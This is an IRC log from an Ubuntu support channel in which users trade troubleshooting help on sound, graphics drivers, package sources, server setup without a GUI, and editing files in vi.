lupine_85append & if you want to continue using the console06:08
PORDOAjmorris i'm talking about something you'd do from the command line to restart _alsa_.06:08
MooseIf I want to do manual partitioning, how can I specify a "root file or directory"? The installer yelled at me when I did manual partitioning and told me none was found.06:08
puffHm, I have this portable USB drive case that appears to contain an old windows drive. It automounts as read-only.  Is that the old NTFS limitation problem, or is there something I can do (short of reformatting the drive) to make it writable?06:08
Jmh0403lupine_85,  I'll try it. Thank you06:08
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Ajmorris@PORDO oh sorry .06:09
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crimsunPORDO: you don't need to "restart alsa" for asoundrc changes to take effect, only restart alsa apps.06:09
Rookie-1Jmh0403 - if you want to jumpp into a dir within a terminal/console, just type cd /dir/you/want/to06:09
Zealot87how do i run terminal without gnome running?06:09
Zealot87alt-f2 doesnt work, my gnome taskbar and app launcher is gone06:09
Ajmorris@puff the ability to write to NTFS from linux is still experimental.06:09
xXcorruptedXxanyone know where glibc needs to be unziped to?06:10
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smartmanok guys you may be buys now i'll come again in anther time06:10
Jmh0403Rookie-1,  thanks but I want to know how to open it in x06:10
smartmanbye guys06:10
music_.06:10
PORDOsudo asoundconf reset-default-card06:10
music_ok06:10
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music_i'm must better06:10
PORDOoh.06:10
PORDOcrimsun well my sound is randomly not working again, and i haven't changed anything.06:10
Zealot87anyone know how to open terminal, i tried a launcher on the desktop but it says that 'terminal' is not a file!06:11
PORDOnow i've gone in and changed the buffer sizes around thinking maybe that was it.06:11
Zealot87remember, my app bar is GONE06:11
PORDObut it's still not working06:11
crimsunPORDO: no, that asoundconf command removes parameters from ~/.asoundrc.asoundconf06:11
PORDOALSA lib pcm_params.c:2152:(snd_pcm_hw_refine_slave) Slave PCM not usable06:11
madkhey Ajmorris I am using this tutorial to setup ubuntu 6.06  "http://www.howtoforge.com/perfect_setup_ubuntu_6.06"06:11
cokesluthello06:11
QRZ`hi06:11
crimsunPORDO: asoundconf is useless if you've already manually edited ~/.asoundrc06:12
madkhi06:12
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Jmh0403While I'm here, can anyone help me get some codecs?06:12
PORDOi don't have any local asoundrc files.06:12
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PORDOjust asound.conf.  the same one i finally got working the other day.06:12
PORDOnow it's just suddenly randomly not working.06:12
crimsunPORDO: /etc/asound.conf _is_ an asoundrc06:12
Ajmorris@Zealot87 press alt+F2 and type gnome-terminal06:13
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PORDOi know that it's _an_ asoundrc.06:13
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Zealot87alt+F2 doesnt work06:13
crimsunPORDO: so why are you messing with asoundconf?06:13
Ajmorris@madk so whats the problem06:13
Zealot87gnome-terminal! thats it, i'll try a launcher with that as the app06:13
PORDObecause remember i was having buffer underruns.06:13
PORDOi tweaked the buffer sizes.  that didn't seem to change anything.06:13
crimsunPORDO: no, remove all ~/.asoundrc* and only edit /etc/asound.conf , then06:13
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PORDOcrimsun that's all i've been doing.06:13
Zealot87thanks Ajmorris, thats a first step!06:13
PORDOcrimsun i have no ~/.asoundrc anywhere.06:14
music_http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/ my driver "nvidia" wont work anty more and its on driver "nv" now and i did upgrade stuff thats what happing upgrade scew it up and i need it back06:14
Ajmorris@Zealot87 np06:14
PORDOon any user account on my machine.06:14
crimsunPORDO: good, so don't use asoundconf(1).06:14
MooseIf I have a partition on a second container for my server, how could I switch to it's directory? Also, what file system should I use if I just want it for storage, programs, etc...?06:14
PORDOokay.06:14
crimsunPORDO: now, pastebin your /etc/asound.conf06:14
Ajmorrishow do we reply to someone with the yellow text as our name?06:14
Zealot87I try to run 'gnome-panel' and it says "i've detected a panel already running and will now exit"06:14
cokeslut??06:14
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mataks_ey i got this error when trying to do update.. "Err http://be.archive.ubuntu.com breezy/main Packages Sub-process gzip returned an error code (1)" why is that? anyone can help me06:14
madkwell going thru the tut and get to enter "vi /etc/network/interfaces" and the edit the network config and then I can figure out how to save it after I have edited the DHCP to make it STATIC addressing06:15
Zealot87anyone know how i can kill the "already running" gnome panel, which it shouldnt since i restarted it a second ago06:15
Madm3rlinso who here runs ubuntu on ppc06:15
music_no one06:15
juano_cant configure kmail with gmail... ne1?06:15
cafuego_Madm3rlin: I do sometimes.06:15
music_http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/ my driver "nvidia" wont work anty more and its on driver "nv" now and i did upgrade stuff thats what happing upgrade scew it up and i need it back06:15
Ajmorris<Madm3rlin> i do06:16
puffAjmorris: How experimental?  Basically I'm just trying to copy some bulk data over ot the USB disk, I can put it and do it later if I really need to.06:16
Madm3rlinsucks for gaming eh06:16
Ajmorrisyeah06:16
mataks_ey i got this error when trying to do update.. "Err http://be.archive.ubuntu.com breezy/main Packages Sub-process gzip returned an error code (1)" why is that? anyone can help me06:16
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puffAjmorris: Er, punt it, and send the bulk data later, if I really need ot.06:16
cafuego_Madm3rlin: Nah, Scorched3D runs fine.06:16
hexidigitalanyone running kubuntu edgy know how to add a keyboard shortcut for a specific command? i can't it anywhere :(06:16
Madm3rlinwhats scorched3d06:16
cafuego_the only game i need :-)06:16
madkany Ideas Ajmorris?06:16
Zealot87gahh, this has GOT to work! i just dont know how to kill processes.,....hmmmm i may have a solution06:16
Zealot87anyone know the command name for the system monitor?06:17
MooseWhat file system should I use when partitioning?06:17
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cafuego_Zealot87: gnome-system-monitor06:17
Ajmorris@puff it is quite experimental and when you write to an NTFS partition you run the risk of corrupting it. I am not sure the risks of a usb device though. Maybe just a re-format.06:17
Zealot87@cafuego: thanks06:17
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PORDOcrimsun http://google.com/notebook/public/00221891507267986120/BDUsxIgoQ7p_zw8Ah06:17
music_http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/ my driver "nvidia" wont work anty more and its on driver "nv" now and i did upgrade stuff thats what happing upgrade scew it up and i need it back can any one help06:17
Ajmorris@madk whats the problem, sorry? and also how do you reply with yellow text as your name?06:17
twistiesCan anyone explain how to get rid of loud buzz from my microphone output?06:18
Madm3rlinis scorched earth fun06:18
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madkhow I reply yellow?06:18
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madkI didn't know that I was turning yellow06:18
Zealot87wooohooooo! i did it!06:18
madklol06:18
music_twisties; turn down the volume on microphone and unchack increas 20db06:18
Ajmorris@madk lol06:18
Zealot87without gnome panel, i was able to, using many launchers, get my computer back working again :P06:19
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Ajmorrisdo i ever turn yellow when i reply?06:19
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madkAJ this is what I asked "well going thru the tut and get to enter "vi /etc/network/interfaces" and the edit the network config and then I can figure out how to save it after I have edited the DHCP to make it STATIC addressing"06:19
twistiesmusic_: Thanks ill give it a shot ;)06:19
Zealot87without alt-f2 working as well i might add :)06:19
madkno06:19
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madkonlu black always black06:19
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Zealot87yeah apparently, Alt-F2 is a gnome-panel feature, so if gnome-panel isnt working then you need another way to launch apps, luckily the nautilus desktop was working !06:20
music_http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/ my driver "nvidia" wont work anty more and its on driver "nv" now and i did upgrade stuff thats what happing upgrade scew it up and i need it back        any oner looking into this?06:20
Ajmorris@madk try through the GUI instead.06:20
seth_does anyone know of a way to install from the live CD without the gui?  I'm having issues with freq out of range, but feel like I can fix it after I install06:20
mardi_soirhello06:20
crimsunPORDO: what do you receive from aplay?06:20
Zealot87ok so now that i am done talking to the corner of this chatroom :) i will go now and make the chatroom slightly quieter haha06:20
seth_is it part of the alternate CD or something versus the "live" cd?06:20
Zealot87thanks for the help of those that reminded me of the command names!06:20
madkI am way new to ubuntu how do I even get out of the network config to get into the GUI?06:21
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Ajmorris@madk how are you trying to configure the network settings? through a shell or through the start menu?06:21
madkthru BASH I think is what it is called06:21
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madkthe command line06:22
madkno GUI06:22
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music_http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/ my driver "nvidia" wont work anty more and its on driver "nv" now and i did upgrade stuff thats what happing upgrade scew it up and i need it back                                                               ....................................................... is any one looking or u cant help me?06:22
Ajmorris@madk go to system > administration >network or network tools and try from there06:22
twistiesmusic_: Still there :S everyone on teamspeak gets annoyed. lol, this one of my few problems keeping me on windows :(06:22
music_twisties; teamspeak....06:23
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madkyeah I can't do anything I am stuck in the command line no GUI at all06:23
madklol06:23
madkI suck man06:23
MooseSo, is it normal for hard drives to rattle when creating a new file system?06:23
music_twisties; its teamspeak that doing it06:23
Ajmorris@madk how come?06:23
twistiesmusic_: Is there a workaround?06:23
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music_twisties; change the settings in the program decrease the volume in it...06:24
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madkI don't know why I am stuck I was just following the tutorial word for word because this is my first ubuntu setup06:24
craigbass1976If I'm root, and I want to fire up some GUI app, I get a "can't connect to X server."  I can in Fedora and Cent, why not in Ubuntu?06:24
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tweeskterwhat log file do i need to check to find out why X is just killing itself every few minutes06:24
Ajmorris@madk so did ur GUI just crash?06:25
music_twisties; witch teamspeak server i might join and hear my seft..06:25
madkno following the tutorial I was never in the GUI I started and am stuck in the the command line06:25
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BHSPitLappyhi, all06:26
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Ajmorris@so y don't you have any GUI on your machine?06:26
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madklol I have no idea I was just following the tutorial06:26
Ajmorris@madk did u hav gui be4 u started the tutorial?06:27
madkno06:27
madkjust started command prompt and the is a;;06:27
Ajmorrisso y don't u fix that be4 trying to configure ur dhcp?06:27
madkI can sent you what the tutorial says so you can follow what I am saying06:27
Ajmorriskk06:27
madkcan I open a PM06:27
juano_anybody know why i cant use kmail for gmail?06:28
Ajmorrisyeah06:28
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twistiesmusic_: its not a public one i'd get in shit for giving out details. lol, and how can I turn down the volume? the only volume adjustment is output which is what You hear06:28
madkdid you go to you PM AJ?06:29
music_twisties; is it on oss or asla06:29
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Ajmorris@madk u mean private chat don't u? if so i did, i was waiting for u.06:30
twistiesmusic_: Its on oss, im still new to linux and TS for this platform so I don't know how to change it06:30
madkyeah crap did I screw that up too06:30
madkawe man06:30
madklol06:30
SoulinEtherhey... anybody want to take 15 minutes and take a stab at my inability to get my sound card reworkin? :S06:30
music_twistties; switch to alsa06:30
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MadpilotAjmorris, madk - you need to be registered & identified to PM on this IRC server06:30
Ajmorris@Madpilot oh, ok how do we do that?06:31
madkand how would I go about that?06:31
music_twisties; switch to alsa06:31
craigbass1976If I'm root, and I want to fire up some GUI app, I get a "can't connect to X server."  I can in Fedora and Cent, why not in Ubuntu?06:31
Madm3rlinwho likes smelling farts06:31
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Madm3rlinubuntu makes u sudo06:31
Madm3rlinyou cant be root06:31
Madpilot!register | Ajmorris06:31
ubotuAjmorris: Information about registering your Freenode nick is at http://freenode.net/faq.shtml#contents-userregistration06:31
Madpilotmadk, same URL for you as for Ajmorris ^^^06:31
madk!register | mack06:32
ubotumack: Information about registering your Freenode nick is at http://freenode.net/faq.shtml#contents-userregistration06:32
Ajmorristhanx06:32
madklol06:32
madkman do I suck or do I suck06:32
madkhehehe06:32
music_twisties; on the volume icon on desktop rightclick preferences and use the alsa one06:32
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madk!register06:32
ubotuInformation about registering your Freenode nick is at http://freenode.net/faq.shtml#contents-userregistration06:32
twistiesyeh, thats set to alsa now, but it makes no difference06:33
SoulinEtherno luck eh? alright, thanks anyway ^^06:33
tweeskterhttp://wiki.beryl-project.org/index.php/Install/Ubuntu/Edgy/XGL#Installing_Xgl_and_Beryl is that an accurate page to get beryl/xgl working correctly06:33
MadpilotMadm3rlin, please be polite here...06:33
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Madm3rlinmadpilot: whats wrong with farts =\06:34
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madkcrap I cannot get this IRC to work wither06:34
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illubn2diy, likes man cock06:35
madkhey Aj how do I start the GUI06:35
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Ajmorris@madk register and we'll go private. It's easier06:35
madkokay06:35
madkI see06:35
Ajmorris@madpilot how do we login once registered?06:36
MadpilotAjmorris, you don't, just identify w/ nickserv06:36
craigbass1976Madm3rlin, I made a root password, so I can be root.  Do you know why I can't connect to X as root?06:36
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Ajmorris@Madpilot ty06:36
SoulinEtherjust a quick question, I suppose you guys frequent the forums: I come from "popular" forums that tend to have replies rather quickly, from your experience how long should I expect to wait for an answer? 1 - 2 days?06:36
SoulinEtherthis seems reasonable, no?06:37
MadpilotAjmorris, also, this is IRC, not IM. you don't need to use the @ thing here06:37
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Ajmorrislol, ok06:37
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madkman I cannot use this IRC stuff or ubuntu I think I will just go back to using Server200306:38
craigbass1976madk, and viruses06:38
SoulinEtheryou can't use IRC? :S what's wrong?06:38
Ajmorrisno06:38
Ajmorrisuse ubuntu06:38
Ajmorrisi just don't understand y u hav no GUI06:38
madklol neither do I06:39
Ajmorrishow did u lose it?06:39
madkI was just following the tutorial06:39
mneptokmadk: are you using a LiveCD?06:39
madkno06:39
Ajmorrissend me the tutorial link06:39
madkk06:39
madkhttp://www.howtoforge.com/perfect_setup_ubuntu_6.06_p3?s=3f6ce987eb7240807ab311bf849fd588&06:39
music_twisties; you here?06:39
Ajmorrisy did u hav no GUI be4 u started the tutorial?06:39
madkthat is the network setup part06:40
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mneptokmadk: what happns when you type "startx" (no quotes)?06:40
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PaSurfJust out of curiosity, I have a system with dual power supplies.  I also have a UPS but only have a limited amount of outlets.  One, do I connect surge protector to the outlet then distribute outlets or plug one into UPS and other into surge protector (so if power goes out, one will still be working)?06:40
madkI have no idea06:40
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madkI am stuck in the network config screen I cannot get out of it06:40
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TreeHey guyshow would i go about deleting ubuntu and installing windows??06:40
LameBMXr06:40
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madkhow do I save the internet configuration?06:40
Ajmorriswhen u started the tutorial did u have GUI?06:40
madkno06:41
tweesktertree, install windows formatting the drive in the process06:41
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Treei see06:41
SoulinEthermadk: are you installing Ubuntu Server?06:41
Ajmorriswhere did u get to in the tutorial?06:41
TreeAlso tweek i cant change my resolution in linux.06:41
madkI have installed it trying to get away from server0306:41
mneptokmadk: oh, this is a server?06:41
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twistiesmusic_: Yes sorry, im side tracked with alot. I've had it set to ALSA but it makes no difference :S surely there's something im not doing right.06:42
madkyeah first time on command line windows uses GUI to config the server06:42
mneptokmadk: a server usually does not have a GUI. the Ubuntu server edition CD does not include one.06:42
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madkpart 5 configure the network06:42
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SoulinEtherwhat's wrong?06:42
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SoulinEtheris it crashed? or something?06:42
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music_twisties; can u type /msg music_ the server address and the port and the password if one i would like to know what type06:43
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Ajmorrisi didn't realise u were configuring a server.06:43
Ajmorrislol06:43
Abnixeh, what do I do if I changed my user passwd and now my root pw doesn't work...?06:43
kenthomsonHello!06:43
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madkafter I configured the static ip information I cannot save the config file to go on..06:43
SoulinEtherwhy not?06:43
mneptokmadk: it seems you are editing your network settings with vi at the moment?06:43
jgedeonmadk: have you enabled the root account or are you sticking with sudo?06:44
Abnixok, let me rephrase that...06:44
Abnixwhat do I do if I changed my user passwd and now I can't sudo anything...?06:44
madkyeah06:44
mneptokAbnix: you use the new password06:44
MooseSo, I installed everthing, selected LAMP.. everything goes fine, it tells me to remove the installation media and I do. I reboot and it doesn't boot, it just stops right when it should load the OS...06:44
SoulinEtherabnix: you should still be able to sudo with your new pw06:44
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MooseNo errors or anything, no indication of loading... It's just sitting and waiting...06:45
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madkand I am stuck in the ip config06:45
kenthomsonAzureus: On opening azureus after a re-boot, it does the initial loading process and i can see the main window with all my torrents loaded (it resumes its state, from the previous time) but just after the main window with all my plugins is displayed, the window simply disappears. There is no trace of Azureus in the background processes or in the minimized windows. If i re-start it, it again loads till the point of main window and than simply dissapear06:45
kenthomsons. Can someone please help?06:45
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Abnixyea, my new password doesn't work...06:45
mneptokmadk: <esc><esc>:q!  <-- will exit vi without saving changes06:45
yoshiznit123kenthomson, which java version are you using?06:45
SoulinEtherabnix: try your old? :/06:45
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madklemme try it one sec06:46
MooseAnyone have any ideas?06:46
jgedeonmadk: if you use nano instead of vi it might be easier for you.  VI commands throw some people.06:46
kenthomsonyoshiznit123, Sun's proprietary one, i don't know the version number, but its the one in Ubuntu's repos06:46
Abnixyea...tried that,,,06:46
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jgedeonmneptok: I thought that was the problem he wasn't able to save it.06:46
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Abnixold passwd's, new one...06:46
Abnixnothing06:46
BHSPitLappygot a problem06:46
SoulinEtherabnix: that's strange, have you tried changing it back?06:47
yoshiznit123kenthomson, i would suggest removing ~/.Azureus (backing up your torrents if you need them) and trying again06:47
Ajmorrismadk: yeah use nano06:47
Abnixheh this is NEAT06:47
MooseSo, I installed everthing, selected LAMP.. everything goes fine, it tells me to remove the installation media and I do. I reboot and it doesn't boot, it just stops right when it should load the OS...06:47
madkI was just following the tutorial I found on howtoforge.com06:47
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Abnixthe password I changed it to does not work06:47
SoulinEtherMoose: Is this Ubuntu Server?06:47
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Abnixnor does my old one06:47
MooseSoulinEther: Yep06:47
madkis there a better tutorial for setting up Ubuntu 6.06 LTS Server?06:48
Ajmorrismadk: yeah the tutorial is fine but VIM is difficult.06:48
SoulinEtherAbnix: maybe you mistyped your password?06:48
Abnixso obviously I must have put it to not my password twicxe06:48
yoshiznit123kenthomson, unless your plugins and other preferences are important06:48
BHSPitLappyI'm trying to record in audacity, but the sound I'm getting is all distorted. piano, for instance, sounds like a scratchy guitar or something.  This is odd, since when I just unmute the line in the volume control, it plays live through the speakers, and sounds perfect.06:48
kenthomsonmneptok, jgedeon: i too have a problem with vi. I read that on pressing the insert key, it goes into the insert mode (with "insert" appearing in bottom left), and on pressing escape in normal mode. But when i press the insert key nothing of that sort happens (i mean INSERT doesn't appear in the lower left), and i have to guess. Maybe i am having vim, how do i get the classic behaviour?06:48
Abnixthanks god sudo su - has been crippled!06:48
calamariis the hardware detection on the live cd identical to when the system is installed?  I ask because the sound card was not detected06:48
MooseSoulinEther: It is Ubuntu Server06:48
SoulinEtherMoose: yeah, hm, thinking :)06:48
kenthomsonyoshiznit123, no other way except removing ~/.azu*?06:48
music_twisties; u here?06:48
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Ajmorrismadk: the tutorial is fine. Just don't use Vim06:48
jgedeonmadk: just use nano instead of vi and remember the letters at the bottom need ctrl pressed with them.06:48
MooseSoulinEther: Alright, didn't know if you saw it, there were a lot of messages in between there...06:48
yoshiznit123kenthomson, or try moving it to .Azureus.bak just to see if that fixes it06:48
claygI saw a really good guide that showed how (if you had a dual boot setup) you could reboot into xp, or reboot into ubuntu.  It involved editing grub and then calling a command either from the terminal in ubuntu or cmd/shell in windows.  Has anyone seen that guide? Or know how to do that?  I lost the link! :(06:49
SoulinEtherMoose: I downloaded it and have yet to install it opting for the desktop version for my server, do you get the Ubuntu splash screen?06:49
jgedeonkenthomson: not sure.  Hate to say it but I don't use vi.06:49
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AbnixI knew this no root all sudo crap was going to bite me in the ass06:49
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MooseSoulinEther: Nope. Just sitting after post. Screen didn't even clear, I still see all my startup stuff.06:49
SoulinEtherAbnix: I sometimes use root myself lol06:49
Madm3rlinok06:49
kenthomsonyoshiznit123, ok thank's for the help, let me try06:49
jgedeonAbnix: you can always boot into recue mode and make the needed changes.06:50
Madm3rlinis there ANY way to make cedega work on PPC06:50
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emssvim rock, gedit is lighter than gvim, yet gvim starts up and runs faster than gedit :)06:50
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MooseShould I stick my install disk back in and select "Boot to first drive"?06:50
SoulinEtherMoose: hum, try pushing ctrl alt delete, I won't say im an expert but when i was having boot problems it showed me what was not working.06:50
madkokay I got out of that now how do I start ubuntu's GUI06:50
mataks_can someone help me how to download xmms using apt-get?06:50
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SoulinEthermadk: you have none. :S06:50
AjmorrisClayg: i don't know where a guide is but i can help u.06:51
SoulinEthermadk: you'd have to install one I suppose.06:51
jgedeonemss: not in an non desktop enviorment.  When it's just CDL then there is no g*06:51
MooseSoulinEther: ctrl + alt + delete just restarted my system :P06:51
madkinsert bad words here lol06:51
mataks_i can't download bcoz of my source list.. maybe there's something wrogin06:51
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craigbass1976If I'm root, and I want to fire up some GUI app, I get a "can't connect to X server."  I can in Fedora and Cent, why not in Ubuntu?  I have the same problem if I su - to another user and try to fire up something like thunderbird.06:51
SoulinEtherMoose: heh, hum06:51
jgedeonmadk: it's not that bad.06:51
emssmataks_: use aptitude instead of apt-get and type: aptitude install xmms, but I think you might need to enable other repositories06:51
SoulinEthermadk: you can use aptitude or apt-get to get one I suppose?06:51
madkso what is recommended for installing server with GUI support?06:51
mataks_emss, how to enable other repositories?06:52
SoulinEtherHm, would sudo aptitude gnome-desktop be sufficient for getting GNOME?06:52
emssmataks_: you must edit /etc/apt/sources.list06:52
jgedeonIf you have to have the gui then just do apt-get install ubuntu-desktop06:52
calamarianyone happen to know if the sound card detection when booting from the live cd is the same as when the system is installed?06:52
AjmorrisClayg: u still there?06:52
craigbass1976calamari, should be06:52
SoulinEthercalamari: should be.06:52
SoulinEtherhehe06:52
calamaricraigbass1976, SoulinEther: thanks06:52
emssSoulinEther: why use GNOME to run a server? that makes no sense06:52
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craigbass1976SoulinEther, I did that twice tonight speaking too.  Getting weirded out now...06:53
SoulinEtheremss: No idea :P06:53
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mataks_emss,  then? what will i change? i've already edit the source list since yesterday but i get some errors.06:53
calamariguess my sound card is either not detected or not supported.. need to figure out which one :)06:53
SoulinEthercraigbass: hehehe06:53
emssmataks_: what errors?06:53
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jgedeonemss: cause he is coming from a M$ world and is getting frustrated with the CDL06:53
madkI am very mad lol06:53
SoulinEtheremss: besides, he needs to adapt I suppose06:53
emssjgedeon: well he will be using a terminal in GNOME06:53
emss:)06:53
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madkI am so used to GUI configuration06:53
madklol06:53
SoulinEtheremss: hehe, well, that's what I did :P06:54
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tweeskterwhat log file would help me find out why Xorg is dieing after a few minutes of use?06:54
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craigbass1976SoulinEther, know anything about my gui problem?06:54
MooseShould I reinstall ubuntu server and let it automatically partition my drives?06:54
jgedeonemss: but he can then use gedit to edit the files that he needs to I guess.06:54
lupine_aatweeskter: /var/log/Xorg.0.log06:54
mataks_emss,  wait i'll show you06:54
SoulinEthercraigbass: which is? :S is it in here? i can look for it.06:54
lupine_aaalso, type "dmesg" in a terminal and look at that output06:54
lupine_aanVidia?06:54
tweeskterlupine_aa it doesnt contain anything relevant in either of those06:54
tweeskteryes06:54
lupine_aaany mention of Xid errors?06:54
craigbass1976SoulinEther, a little ways before calamari's quesiton06:54
jgedeonmadk: would you like a little help in working with CLI with the server set up?06:55
tweeskternot a single thing, yesterday i installed the card, XGL beryl etc, and it worked until i rebooted tonight basically. worked perfectly, now it doesnt at all06:55
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curs0rhi folks, quick question, how would i go about restricting an audigy4 to stereo only in edgy?06:55
lupine_aaah, probably xgl then06:55
lupine_aaany reason why you didn'ty06:55
lupine_aa!nvidiabeta06:55
SoulinEthercraigbass1976: should be no reason why you can't.06:55
ubotuFor Ubuntu 6.10 (Edgy Eft), you can obtain the (unsupported!) 9746 version of the binary NVidia drivers by using this repository: deb http://nvidia.limitless.lupine.me.uk/ubuntu edgy stable06:55
craigbass1976SoulinEther, I didn't think so either, but that's the error I get.06:56
SoulinEthercraigbass1976: since it's basically the same thing, why not just sudo it? like... sudo gedit06:56
mataks_emss,  here's the error http://paste.ubuntu-nl.org/1266/06:56
tweeskterbut yesterday it worked until i rebooted thats the funny thing, so it obviously does work correctly, but something isnt happening when i start up06:56
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SoulinEthercraigbass1976: both work for me personally.06:56
madkI am installing the GUI I am sure I can figure it out from there.06:56
madkthanks for the help06:56
Madm3rlinhaha06:57
SoulinEthermadk: cool :P06:57
craigbass1976SoulinEther, well, that still wouldn't solve the other user issue.  I have fedora on the "family" box right now, and I'm thinking of putting ubuntu on it.  But not if I have to switch user to get at my email and browser.  I want to be able to fire it up from the command line real quick06:57
mataks_emss,  still there?06:57
Madm3rlinhow can you have a problem installing ubuntu =\06:57
calamariI apologize for this question, because it seems like I should already know.. but how can I find out the pci id's of the devices in my system (specifically the sound)06:57
madkI will probably be back later after it installs06:57
madklol06:57
Madm3rlinits easier than windows06:57
craigbass1976calamari, lspci06:57
emssmataks_: yes06:57
mataks_emss,  here's the error http://paste.ubuntu-nl.org/1266/06:57
SoulinEthercraigbass1976: why would you have to switch user? I'm confused, I think.06:57
emssmataks_: yes I see06:57
calamaricraigbass1976: thank you06:57
jgedeonmadk: Ok good luck if you need any help just hollar..  Have two ubuntu servers and an edubuntu server sitting here.06:57
tweeskteri used this page as the how to http://wiki.beryl-project.org/index.php/Install/Ubuntu/Edgy/XGL#Installing_Xgl_and_Beryl06:57
madkI would say you insane at this point lol06:57
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mataks_i got the error when i do sudo apt-get update06:57
mataks_emss,  why is that?06:57
MooseI just tossed ubuntu into rescue mode, i'll redo the partitioning06:58
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SoulinEtherMoose: sound's like a plan :P06:58
MooseI think that could be whats causing it.06:58
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craigbass1976SoulinEther, Well, if my wife logged into the GUI, and I open up a terminal and want to fire up my thunderbird, I can't.  I'll get the can't connect to x error.  I could switch user (the GUI version) and get my desktop environment, but it takes longer06:58
emssmataks_: are you using edgy?06:58
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mataks_emss, no.. breezy06:59
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SoulinEthercraigbass1976: hm, that would be a problem, hm06:59
craigbass1976SoulinEther, I've got to go.  I'll figure it out.  It's 1am here06:59
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craigbass1976Thanks though06:59
SoulinEthercraigbass1976: alright, I guess I Should too, good luck06:59
SoulinEtherdrat, 1 second too late.06:59
emssmataks_: can you paste your sources.list?06:59
SoulinEtherwell, 2 :P06:59
mataks_emss, ok wait06:59
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xXcorruptedXxbye people07:00
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jack_hi guys... I'm running xubuntu and i did apt-get install ubuntu-desktop... and it still looks like xubuntu,,, i dont know if i restart will it run gnome/?07:00
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male-cious1hello all07:00
male-cious1help07:00
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male-cious1using mobility 9000 ati card07:00
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male-cious1anyone know how to install the old 8.28 driver to get 3d07:01
mataks_emss, ok here http://paste.ubuntu-nl.org/1267/07:01
emssjack_ select gnome in the gdm area where it allows you to edit your session07:01
jgedeonjack_: at the sign in there should be a choice where you can choose what you want.  Just click on session07:01
Flanneljack_: you'll need to restart X, then you'll come up with either GDM or XDM, you can choose beetween gnome and xfce under "session" on the login screen07:01
male-cious1i tried editing .... my xorg to use fglrx it crashes07:01
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male-cious1xserver07:01
Ajmorrisjack_: on the login screen (most likely GDM) you have to click sessions and choose Gnome instead of your previous one.07:01
emssmataks_: ok07:02
male-cious1HELP?07:02
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mataks_emss,  can you see the problem.. I've been working this since last night07:02
jgedeonmataks_: are you on a home network or an other network?07:02
Ajmorrismale-cious1: just  restore it to the automatic backup (xorg.conf~)07:02
mataks_changing sources list but still got the same error07:02
mataks_jgedeon, no.07:03
male-cious1i have got a bak up07:03
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Flannells07:03
male-cious1but like to have 3d and using fglrx07:03
jgedeonmataks_: what do you mean no?07:03
Ajmorrisis this for beryl?07:03
mataks_jgedeon, im not on a network..07:03
male-cious1that too and games07:03
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Ajmorrisdid u follow the setup on beryl-project.org?07:04
jgedeonmataks_: Reason I ask is if the network is proxy'd you might be getting block.  I have a couple locations like that and it throws the same errors.07:04
male-cious1im using xserver right now..07:04
male-cious1ajmoris is did07:04
male-cious1seems ati has ditched my card07:04
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male-cious1im the lucky owner of a t42 ibm laptop07:04
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mataks_jgedeon, what you mean? i don't get it. im just new to linux..07:04
Ajmorrisso u have an ati card but u wanna use fglrx?07:04
Bersekerhi!07:05
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male-cious1AJ to be honest07:05
male-cious1anything that wold work07:05
male-cious1but i read the open source drivers are slwo07:05
male-cious1there are so many to choose from07:05
male-cious1i just want to install ATI drivers if possible07:05
male-cious1the last support for my card is ver 8.2807:05
Ajmorrisso u don't have current drivers?07:06
male-cious1using default drivers atm with edgy07:06
jgedeonmataks_: You get the same posted error if you run the command a couple of times in a row?07:06
mataks_jgedeon, yes.. it's the same error everytime07:06
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corevettei can't start up ubuntu07:06
jgedeonmataks_: IF you are running as root then why are you needing to use sudo?07:07
corevetteis there a way to fix the startup?07:07
male-cious1no i dont07:07
corevettei can't get to recovery mode either07:07
male-cious1:(07:07
male-cious1and cant install 8.3507:07
male-cious1because it doesnt support my cardi itired07:07
Ajmorrismaybe try the xgl tutorial and forget the ati drivers07:07
emssmataks_: yeh, I do not know :\07:07
mataks_jgedeon, dunno.. that's what they said :p .. im just a newbie :)07:07
male-cious1and read only 8.28 works07:07
male-cious1:(07:07
male-cious1i got XGL kinda runnig but its slow07:08
male-cious1as another session i followed someones tutorial07:08
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jgedeonmataks_: did you enable the root account?07:08
mataks_jgedeon, do you think it's been blocked?07:08
mataks_jgedeon, i don't know how to enable root account.. how? all i do is when i run on terminal i do the "su" then my password07:08
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calamarilooks like my sound card is only supported in linux 2.6.1807:08
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Ajmorrisi  have seen reports that XGL doesn't run slow.07:09
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male-cious1yes tell me how to get 3d07:09
Ajmorrisdid u use the one on beryl-project.org?07:09
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male-cious1acceleration i want to play games07:09
male-cious1too07:09
male-cious1lol07:09
jgedeonmataks_: ok give me a minute I'm looking at one of your problem servers.07:09
male-cious1hmm hang on let me show u my soruces.list07:09
male-cious1repos im using07:09
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corevetteis there a way i can do a safe restore for ubuntu? i can't start up ubuntu07:09
male-cious1livecd?07:10
male-cious1or reinstall07:10
male-cious1:P07:10
corevettemale-cious1 talking to me?07:10
male-cious1yes im no help to you icant even install my vid driver :(07:10
jgedeonmataks_: is this the first day that you have had this problem?07:10
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male-cious1ajmorris u here?07:11
emssmataks_: ftp://ftp.nerim.net/debian-marillat/ doesn't exist07:11
steelbMan, I messed up my ubuntu this time. I just installed the gui for hamachi, and I run it and x serv shuts down and when i try to start it from the command prompt i get the error: failed to load module "wfb" and the fatal error: cannot open '/lib/modules/2.6.17-10-generic/volatile/nvidia.ko' it doesnt exist. Any help?07:11
calamarihow do I compile a kernel so that I get the initrd part?  or is that a separate step?07:11
Ajmorrisyeah07:11
Ajmorrisdid u add the xgl session?07:11
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male-cious1i have a xgl session07:12
male-cious1it works07:12
male-cious1kinda07:12
Ajmorrisdo u get the beryl icon in the tray?07:12
wasabipeas2Can someone explain to me how to forward ports through Ubuntu? I have the ports forwarded on my router, but every time I try to use azureus, I get a nat error07:12
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male-cious1but i loose the apps/places/sys tool bars i can only load appd or shortcuts on my desktop07:12
male-cious1and i can resize windows07:13
mataks_jgedeon,  today would be my 2nd day fixing this problem07:13
male-cious1no i dont have one07:13
mataks_emss, ok thnx07:13
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Ajmorrispress alt+F2 and type beryl-manager07:13
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lotacuscan someone help me with flash9 and firefox for x64 ? I've followed some instructions and I have the plugin installed into /usr/lib/totem/ but firefox still doesn't load it.07:14
corevettewell unless theres no safe restore for ubuntu....i'm switching to suse or fedora07:14
